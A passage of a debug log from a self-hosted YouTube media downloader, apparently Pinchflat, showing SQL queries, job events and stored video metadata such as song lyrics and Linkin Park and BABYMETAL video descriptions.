Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, 1, ~U[2018-10-09 08:38:00Z]] 22:21:29.483 [debug] QUERY OK source="sources" db=0.6ms idle=238.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:29.527 [debug] QUERY OK source="sources" db=229.4ms idle=146.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:29.528 [debug] QUERY OK source="media_profiles" db=1.2ms queue=43.0ms idle=238.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:29.528 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=282.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:29.529 [debug] QUERY OK source="media_items" db=0.8ms idle=46.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 22:21:29.529 [debug] Current batch of media processed. Will check again in 1000ms 22:21:29.529 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=45.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2007-03-05 07:59:27Z], 4] 22:21:29.709 [debug] QUERY OK source="media_items" db=178.4ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Somewhere I Belong (Official Music Video) [4K UPGRADE] – Linkin Park\n----------\nFrom Zero (Deluxe Edition) - Out Now: https://lprk.co/fromzerodlx\n\nOfficial Linkin Park Merch: http://lprk.co/store\nText/Call: https://lprk.co/text\nNewsletter Sign Up: https://lprk.co/newsletter\nYouTube Subscribe: http://lprk.co/youtube\nFacebook: http://lprk.co/facebook\nInstagram: http://lprk.co/instagram\nTikTok: http://lprk.co/tiktok\nTwitter: http://lprk.co/twitter\nDiscord: https://discord.gg/linkinpark\n\nFrom Zero World Tour\nTickets available at http://lprk.co/tour\n\nMay 29 - Stockholm, SE @ 3Arena\nJune 1 - Hamburg, DE @ Volksparkstadion\nJune 3 - Hamburg, DE @ Volksparkstadion\nJune 5 - Nuremberg, DE @ Rock am Ring\nJune 7 - Nürburg, DE @ Rock im Park\nJune 9 - Vienna, AT @ Ernst Happel Stadium\nJune 11 - Munich, DE @ Allianz Arena\nJune 12 - Munich, DE @ Allianz Arena\nJune 14 - Donington Park, UK @ Download Festival\nJune 16 - Lyon, FR @ Groupama Stadium\nJune 19 - Santiago de Compostela, ES @ O Son Do Camiño\nJune 21 - Lisbon, PT @ Rock in Rio Lisboa\nJune 23 - Madrid, ES @ Aditorio Miguel Rios\nJune 24 - Madrid, ES @ Aditorio Miguel Rios\nJune 26 - Florence, IT @ Visarno Arena\nJune 28 - Werchter, BE @ Werchter Parklife\nJune 30 - Zurich, CH @ Stadion Letzigrund\n\n#LinkinPark #Meteora #SomewhereIBelong #Meteora20", "Somewhere I Belong (Official Music Video) [4K UPGRADE] – Linkin Park", "d96671f4-5942-437f-97ed-4954e14e2c05", false, "zsCD5XCu6CM", 226, false, "https://www.youtube.com/watch?v=zsCD5XCu6CM", 42, "/downloads/Grift/Grift/2007-03-05Somewhere I Belong (Official Music Video) [4K UPGRADE] – Linkin Park[zsCD5XCu6CM].m4a", false, false, 4, [], 1, ~U[2007-03-05 07:59:27Z], ~U[2026-07-24 02:21:29Z], ~U[2026-07-24 02:21:29Z], "Somewhere I Belong (Official Music Video) [4K UPGRADE] – Linkin Park\n----------\nFrom Zero (Deluxe Edition) - Out Now: https://lprk.co/fromzerodlx\n\nOfficial Linkin Park Merch: http://lprk.co/store\nText/Call: https://lprk.co/text\nNewsletter Sign Up: https://lprk.co/newsletter\nYouTube Subscribe: http://lprk.co/youtube\nFacebook: http://lprk.co/facebook\nInstagram: http://lprk.co/instagram\nTikTok: http://lprk.co/tiktok\nTwitter: http://lprk.co/twitter\nDiscord: https://discord.gg/linkinpark\n\nFrom Zero World Tour\nTickets available at http://lprk.co/tour\n\nMay 29 - Stockholm, SE @ 3Arena\nJune 1 - Hamburg, DE @ Volksparkstadion\nJune 3 - Hamburg, DE @ Volksparkstadion\nJune 5 - Nuremberg, DE @ Rock am Ring\nJune 7 - Nürburg, DE @ Rock im Park\nJune 9 - Vienna, AT @ Ernst Happel Stadium\nJune 11 - Munich, DE @ Allianz Arena\nJune 12 - Munich, DE @ Allianz Arena\nJune 14 - Donington Park, UK @ Download Festival\nJune 16 - Lyon, FR @ Groupama Stadium\nJune 19 - Santiago de Compostela, ES @ O Son Do Camiño\nJune 21 - Lisbon, PT @ Rock in Rio Lisboa\nJune 23 - Madrid, ES @ Aditorio Miguel Rios\nJune 24 - Madrid, ES @ Aditorio Miguel Rios\nJune 26 - Florence, IT @ Visarno Arena\nJune 28 - Werchter, BE @ Werchter Parklife\nJune 30 - Zurich, CH @ Stadion Letzigrund\n\n#LinkinPark #Meteora #SomewhereIBelong #Meteora20", "Somewhere I Belong (Official Music Video) [4K UPGRADE] – Linkin Park", "zsCD5XCu6CM", 226, false, "https://www.youtube.com/watch?v=zsCD5XCu6CM", "/downloads/Grift/Grift/2007-03-05Somewhere I Belong (Official Music Video) [4K UPGRADE] – Linkin Park[zsCD5XCu6CM].m4a", false, 4, ~U[2007-03-05 07:59:27Z]] 22:21:29.709 [debug] QUERY OK source="sources" db=0.2ms idle=181.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:29.710 [debug] QUERY OK source="media_profiles" db=0.1ms idle=181.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:29.710 [debug] QUERY OK source="media_items" db=0.1ms idle=181.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [165] 22:21:29.710 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "BABYMETAL結成 15 周年を記念し「ヘドバンギャー!! 」を再録!\n本楽曲を収録した結成 15 周年を記念した超限定 CD を2026 年 1月 7 日(水)より東京・渋谷の SHIBUYA TSUTAYA 1 階にて開催される POP-UP ストア「BABYMETAL FIRST EVER POP-UP IN TOKYO」、および 2026 年 1 月 10 日(土)・11 日(日)にさいたまスーパーアリーナで開催されるスペシャル公演「LEGEND - METAL FORTH」のグッズ売場にて、数量限定で販売いたします。\n\n購入特典として、CD をご購入いただいた方へ最新ミュージックビデオに登場する衣装のポストカード(全 3 種/ランダム封入)を 1 枚プレゼント。そのカードの中に結成15 周年を祝福するスペシャルな「THE CHOSEN 15 カード」が 15 枚限定で封入されています。\n幸運な「選ばれし 15 人」は誰の手に!?\n▶詳細:https://babymetal.com/headbangeeeeerrrrr15th\n\nさらに、「ヘドバンギャー!! 15th Night Ver.」のリリースを記念して、ミュージックビデオ内\nでメンバーが着用した衣裳と同デザインのスタッズ付き「15th Night Studded Battle Long\nJacket」が 15 着限定で、本日よりオンラインストア「A!SMART」にて抽選販売が決定!\n「15thNight Studded Battle Long Jacket」は POP-UP ストアで展示を予定しています。\n▶詳細:http://www.asmart.jp/babymetal\n\nLyrics:EDOMETAL, NAKAMETAL\nComposed:NARASAKI\nArranged:NARAMETAL\nRecording Engineer:WATAMETAL\nMix and Mastering Engineer:Tue Madsen\n\nGuitar:NARASAKI\nDrums:Shuhei Kamada\nBass:Akihisa Otani\n\nDirector:Takuya Tada\nAssistant Director : OSIMI\nDirector of Photography:Yuki Nakamura\nLighting Director:Tomoyuki Ikeda\nArt Designer:Yuichi Ishida(R.mond)\nStylist:Mayu Suzuki\nStylist:Shohei Kashima (W)\nStylist Assistant:Suzuka Matsutani (W)\nHair & Make-up:Aya Watanabe\nCasting:OIP\nColorist:Max Golomidov(DIGITAL GARDEN)\nCG:Yu Kawai\nOnline Editor:Takumi Teruya(L'espace Vision)\nProduction:CROMANYON\nProduction Manager:Ken Inoue\nProducer:Takashi Sugai(CROMANYON)\nExecutive Producer : KOBAMETAL (BABYMETAL WORLD)\n\n© 2025 BABYMETAL WORLD, LLC\n\n■BABYMETAL Official Web Site \nhttp://www.babymetal.com\n\n■BABYMETAL Official Facebook \nhttps://www.facebook.com/BABYMETAL.jp\n\n■BABYMETAL Official Instagram \nhttps://www.instagram.com/babymetal_official/\n\n■BABYMETAL Official Twitter \nhttps://twitter.com/BABYMETAL_JAPAN\n\n■BABYMETAL Official TikTok\nhttps://www.tiktok.com/@babymetal_japan", "duration" => 275, "filename" => "/downloads/Grift/Grift/2026-01-05BABYMETAL - ヘドバンギャー!! 15th Night Ver. (OFFICIAL)[R09cXutHYCM].m4a", "id" => "R09cXutHYCM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=R09cXutHYCM", "playlist_index" => 43, "timestamp" => 1767593702, "title" => "BABYMETAL - ヘドバンギャー!! 15th Night Ver. (OFFICIAL)", "upload_date" => "20260105"} 22:21:29.711 [debug] QUERY OK source="sources" db=0.1ms idle=181.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:29.711 [debug] QUERY OK source="sources" db=0.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:29.711 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-05 06:15:02Z], 4] 22:21:29.865 [debug] QUERY OK source="media_items" db=153.0ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["BABYMETAL結成 15 周年を記念し「ヘドバンギャー!! 」を再録!\n本楽曲を収録した結成 15 周年を記念した超限定 CD を2026 年 1月 7 日(水)より東京・渋谷の SHIBUYA TSUTAYA 1 階にて開催される POP-UP ストア「BABYMETAL FIRST EVER POP-UP IN TOKYO」、および 2026 年 1 月 10 日(土)・11 日(日)にさいたまスーパーアリーナで開催されるスペシャル公演「LEGEND - METAL FORTH」のグッズ売場にて、数量限定で販売いたします。\n\n購入特典として、CD をご購入いただいた方へ最新ミュージックビデオに登場する衣装のポストカード(全 3 種/ランダム封入)を 1 枚プレゼント。そのカードの中に結成15 周年を祝福するスペシャルな「THE CHOSEN 15 カード」が 15 枚限定で封入されています。\n幸運な「選ばれし 15 人」は誰の手に!?\n▶詳細:https://babymetal.com/headbangeeeeerrrrr15th\n\nさらに、「ヘドバンギャー!! 15th Night Ver.」のリリースを記念して、ミュージックビデオ内\nでメンバーが着用した衣裳と同デザインのスタッズ付き「15th Night Studded Battle Long\nJacket」が 15 着限定で、本日よりオンラインストア「A!SMART」にて抽選販売が決定!\n「15thNight Studded Battle Long Jacket」は POP-UP ストアで展示を予定しています。\n▶詳細:http://www.asmart.jp/babymetal\n\nLyrics:EDOMETAL, NAKAMETAL\nComposed:NARASAKI\nArranged:NARAMETAL\nRecording Engineer:WATAMETAL\nMix and Mastering Engineer:Tue Madsen\n\nGuitar:NARASAKI\nDrums:Shuhei Kamada\nBass:Akihisa Otani\n\nDirector:Takuya Tada\nAssistant Director : OSIMI\nDirector of Photography:Yuki Nakamura\nLighting Director:Tomoyuki Ikeda\nArt Designer:Yuichi Ishida(R.mond)\nStylist:Mayu Suzuki\nStylist:Shohei Kashima (W)\nStylist Assistant:Suzuka Matsutani (W)\nHair & Make-up:Aya Watanabe\nCasting:OIP\nColorist:Max Golomidov(DIGITAL GARDEN)\nCG:Yu Kawai\nOnline Editor:Takumi Teruya(L'espace Vision)\nProduction:CROMANYON\nProduction Manager:Ken Inoue\nProducer:Takashi Sugai(CROMANYON)\nExecutive Producer : KOBAMETAL (BABYMETAL WORLD)\n\n© 2025 BABYMETAL WORLD, LLC\n\n■BABYMETAL Official Web Site \nhttp://www.babymetal.com\n\n■BABYMETAL Official Facebook \nhttps://www.facebook.com/BABYMETAL.jp\n\n■BABYMETAL Official Instagram \nhttps://www.instagram.com/babymetal_official/\n\n■BABYMETAL Official Twitter \nhttps://twitter.com/BABYMETAL_JAPAN\n\n■BABYMETAL Official TikTok\nhttps://www.tiktok.com/@babymetal_japan", "BABYMETAL - ヘドバンギャー!! 15th Night Ver. (OFFICIAL)", "1d213d07-cd19-4025-95ad-a5c5b7ec6303", false, "R09cXutHYCM", 275, false, "https://www.youtube.com/watch?v=R09cXutHYCM", 43, "/downloads/Grift/Grift/2026-01-05BABYMETAL - ヘドバンギャー!! 15th Night Ver. (OFFICIAL)[R09cXutHYCM].m4a", false, false, 4, [], 1, ~U[2026-01-05 06:15:02Z], ~U[2026-07-24 02:21:29Z], ~U[2026-07-24 02:21:29Z], "BABYMETAL結成 15 周年を記念し「ヘドバンギャー!! 」を再録!\n本楽曲を収録した結成 15 周年を記念した超限定 CD を2026 年 1月 7 日(水)より東京・渋谷の SHIBUYA TSUTAYA 1 階にて開催される POP-UP ストア「BABYMETAL FIRST EVER POP-UP IN TOKYO」、および 2026 年 1 月 10 日(土)・11 日(日)にさいたまスーパーアリーナで開催されるスペシャル公演「LEGEND - METAL FORTH」のグッズ売場にて、数量限定で販売いたします。\n\n購入特典として、CD をご購入いただいた方へ最新ミュージックビデオに登場する衣装のポストカード(全 3 種/ランダム封入)を 1 枚プレゼント。そのカードの中に結成15 周年を祝福するスペシャルな「THE CHOSEN 15 カード」が 15 枚限定で封入されています。\n幸運な「選ばれし 15 人」は誰の手に!?\n▶詳細:https://babymetal.com/headbangeeeeerrrrr15th\n\nさらに、「ヘドバンギャー!! 15th Night Ver.」のリリースを記念して、ミュージックビデオ内\nでメンバーが着用した衣裳と同デザインのスタッズ付き「15th Night Studded Battle Long\nJacket」が 15 着限定で、本日よりオンラインストア「A!SMART」にて抽選販売が決定!\n「15thNight Studded Battle Long Jacket」は POP-UP ストアで展示を予定しています。\n▶詳細:http://www.asmart.jp/babymetal\n\nLyrics:EDOMETAL, NAKAMETAL\nComposed:NARASAKI\nArranged:NARAMETAL\nRecording Engineer:WATAMETAL\nMix and Mastering Engineer:Tue Madsen\n\nGuitar:NARASAKI\nDrums:Shuhei Kamada\nBass:Akihisa Otani\n\nDirector:Takuya Tada\nAssistant Director : OSIMI\nDirector of Photography:Yuki Nakamura\nLighting Director:Tomoyuki Ikeda\nArt Designer:Yuichi Ishida(R.mond)\nStylist:Mayu Suzuki\nStylist:Shohei Kashima (W)\nStylist Assistant:Suzuka Matsutani (W)\nHair & Make-up:Aya Watanabe\nCasting:OIP\nColorist:Max Golomidov(DIGITAL GARDEN)\nCG:Yu Kawai\nOnline Editor:Takumi Teruya(L'espace Vision)\nProduction:CROMANYON\nProduction Manager:Ken Inoue\nProducer:Takashi Sugai(CROMANYON)\nExecutive Producer : KOBAMETAL (BABYMETAL WORLD)\n\n© 2025 BABYMETAL WORLD, LLC\n\n■BABYMETAL Official Web Site \nhttp://www.babymetal.com\n\n■BABYMETAL Official Facebook \nhttps://www.facebook.com/BABYMETAL.jp\n\n■BABYMETAL Official Instagram \nhttps://www.instagram.com/babymetal_official/\n\n■BABYMETAL Official Twitter \nhttps://twitter.com/BABYMETAL_JAPAN\n\n■BABYMETAL Official TikTok\nhttps://www.tiktok.com/@babymetal_japan", "BABYMETAL - ヘドバンギャー!! 15th Night Ver. (OFFICIAL)", "R09cXutHYCM", 275, false, "https://www.youtube.com/watch?v=R09cXutHYCM", "/downloads/Grift/Grift/2026-01-05BABYMETAL - ヘドバンギャー!! 15th Night Ver. (OFFICIAL)[R09cXutHYCM].m4a", false, 4, ~U[2026-01-05 06:15:02Z]] 22:21:29.865 [debug] QUERY OK source="sources" db=0.2ms idle=154.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:29.865 [debug] QUERY OK source="media_profiles" db=0.1ms idle=154.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:29.866 [debug] QUERY OK source="media_items" db=0.2ms idle=154.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [168] 22:21:29.866 [debug] Current batch of media processed. Will check again in 1000ms 22:21:30.385 [info] {"args":{"id":190},"id":214,"meta":{},"system_time":1784859690385088249,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:30.385 [info] {"args":{"id":194},"id":215,"meta":{},"system_time":1784859690385197707,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:30.385 [debug] QUERY OK source="media_items" db=0.2ms idle=519.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [190] 22:21:30.385 [debug] QUERY OK source="media_items" db=0.2ms idle=519.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [194] 22:21:30.385 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:30.386 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:30.386 [debug] QUERY OK source="sources" db=0.2ms idle=519.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", 